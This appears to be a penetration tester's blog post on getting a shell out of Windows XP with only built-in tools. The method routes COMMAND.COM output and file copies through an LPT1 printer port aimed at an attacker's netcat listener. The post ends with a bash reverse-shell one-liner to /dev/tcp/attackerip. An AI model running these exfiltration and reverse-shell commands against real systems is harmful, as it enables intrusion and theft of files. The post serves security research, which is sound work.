Intrigued by the recent discussion of shoveling shells with native commands in linux, I wondered how you might do that in windows. However, I've found the lack of a /dev/tcp equivalent device makes IO redirection to the network a bit difficult to overcome. No answer yet, but here is an approach that may work. Good old COMMAND.COM might hold the answer. Lets take a look at the options.
C:\WINDOWS>command.com /?
Starts a new instance of the MS-DOS command interpreter.
COMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]
[drive:]path Specifies the directory containing COMMAND.COM file.
device Specifies the device to use for command input and output.
/E:nnnnn Sets the initial environment size to nnnnn bytes.
/P Makes the new command interpreter permanent (can't exit).
/C string Carries out the command specified by string, and then stops.
/MSG Specifies that all error messages be stored in memory. You
need to specify /P with this switch.
DEVICE to use for INPUT OUTPUT!!! That sounds promising. Lets setup a Bidirectional LPT port pointing to a TCPIP address and BAMM!!! Shoveled a shell. Of course for it to work we will have to be able to completely setup the printer from the command line. That shouldn't be to hard PRNPORT.VBS, PRNMNGR.VBS and NET SHARE should get the printer setup and shared. All of which are part of the standard XP installation.
Here is what PRNMNGR looks like to list the print queues.
C:\WINDOWS\system32>cscript prnmngr.vbs -l
Microsoft (R) Windows
Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
Server name
Printer name IPLOC
Share name IPt
Driver name HP LaserJet 4 Plus
Port name IPLOC
Comment Standard TCPIP port pointing to Attackers Netcat Listener
Location
Print processor WinPrint
Data type RAW
Parameters
Attributes 2634
Priority 1
Default priority 0
Status Unknown
Average pages per minute 0
Setup the printer and then capture the LPT port with NET USE
NET USE LPT1 \\127.0.0.1\[SHARENAME]
REVIEW:
So command.com has IO redirection to LPT1. LPT1 is mapped to shared localhost printer. The printer has a GENERIC TEXT driver and uses a Bidirectional RAW Standard TCP Printer Port.
The TCP Port points to the remote NETCAT listener on the port of your choosing. 80 is always good.
You can now move files to the remote netcat listener via the LPT port like this:
COPY [FILENAME] LPT1
or have a netcat like Chat session
COPY CON LPT1
Hit [CONTROL Z] when done typing the text to send. But POTENTIALLY coolest of all is the use of the command.com device.
command.com LPT1 /c dir
will shovel the output through the LPT port to the netcat listener. This is potentially very useful in a penetration test, but its only one way. We really want a bidirectional interactive shell.
So we try "Command.com LPT1", but no such luck. The output spools, the remote input makes it to the host, but it isn't being processed. It may be the spooler or the print processor, but somthing is stomping on the communications. If I configure the printer to not use the spooler I don't get anything. I'll have to look later. Here is a print screen that shows a Netcat Listener on a MAC sending commands to the COMMAND.COM listener on the windows machine. You can see where ethereal captured the text going to the COMMAN.COM Listener! Pretty close!!!
"command.com LPT1 /p dir" is interesting also. You get the results shoveled to the remote listener, then an error message about the vdm redirector is also shoveled.
Next Steps:
For now I plan to bypass the Windows spooler and setup the printer on the linux host. The goal is to setup an SMB->Netcat IO handler on Linux. It will appear to the windows victim as a shared printer. Then the only thing to happen on the windows side is "NET USE LPT1 \\[attacker ip]\[shared netcat listener]" followed by "command.com LPT1". Ill look to native commands in linux first to see if I can find some way to share netcat. It doesn't actually require netcat on the linux side. Really we are just trying to share STDIO. I maybe able to do this with just a SAMBA shared printer and replacing the print handler with NETCAT and/or some MKNOD magic. If I cant find something I'll code something in Ruby using Metasploits prebuilt SMB objects. Of course, using this technique we lose the ability to pick an arbitrary remote port and have to have SMB access to the client. I imagine the entire thing could be implemented as a Metasploit framework payload.
BTW: My favorite linux favor of this is from Ed Skoudis' presentation on netcat without netcat ... /bin/bash -i > /dev/tcp/attackerip/port of choosing 0<&1 2>&1